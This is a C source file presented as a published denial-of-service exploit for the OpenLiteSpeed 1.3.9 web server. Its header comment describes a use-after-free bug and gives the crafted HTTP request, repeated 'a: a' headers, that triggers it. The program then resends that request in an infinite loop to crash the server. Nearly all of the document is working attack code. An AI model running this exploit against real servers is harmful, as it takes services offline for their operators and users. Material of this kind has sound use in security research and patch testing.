/* * Openlitespeed 1.3.9 Use After Free denial of service exploit. * * This exploit triggers a denial of service condition within the Openlitespeed web * server. This is achieved by sending a tampered request contain a large number (91) * of 'a: a' header rows. By looping this request, a memmove call within the HttpReq * class is triggered with a freed pointer, resulting in a reference to an invalid * memory location and thus a segmentation fault. * * UAF Request: * GET / HTTP/1.0 * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * * The above request should be placed into a file name 'uafcrash' prior to running this * exploit code. * * Date: 24/03/2015 * Author: Denis Andzakovic - Security-Assessment.com * */ #include #include #include #include #include #include extern int errno; int main(int argc, char ** argv){ FILE * fp; size_t len = 0; char * line; if((fp = fopen("uafcrash", "r")) == NULL){ fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno)); return 1; } char * host = "127.0.0.1"; int port = 8088; int count = 0; int sock; struct sockaddr_in serv_addr; while(1){ if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ fprintf(stderr, "[!] Error: Could not create socket \n"); return 1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); inet_pton(AF_INET, host, &serv_addr.sin_addr); if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){ fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count); close(sock); return 1; } while ((getline(&line, &len, fp)) != -1){ write(sock, line, strlen(line)); } close(sock); rewind(fp); count++; } return 42; }